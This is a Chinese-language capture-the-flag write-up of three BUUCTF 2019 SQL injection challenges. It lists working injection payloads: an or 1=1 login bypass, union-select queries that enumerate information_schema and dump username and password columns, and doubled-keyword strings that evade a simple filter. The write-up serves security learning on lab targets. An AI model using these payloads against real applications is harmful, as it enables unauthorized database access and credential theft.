buuctf

极客大挑战2019-SQL注入

SQL注入的第一步就是查找注入点

EASYSQL

加#测试注入点是否为1'

 确定注入点为1',使用order by 查看行数，但不知道为什么在union select 1,2,3# 的时候就爆flag了

或者我们还能用1' or 1=1#

BABYSQL1

第一步还是确定注入点为1',尝试后发现

1' uniounionn selecselectt 1,2,database()#

1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database()#

 

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_schema=database()#

 

不知道为啥出现了六个字段

对geekuser表：

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='geekuser'#

对b4bsql表：

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#

回显均为：

Hello 2！
Your password is 'id,username,password'

这就解释了上面第一次的代码为什么回显了三次‘id,username,password’

1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#

 获得flag

LOVESQL1

这道题是最普通的一类

我们确定完注入点为1'后，使用order by确定，然后使用联合注入即可

1' union select 1,2,3 #

1' union select 1,2,database() #

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

最后可以发现flag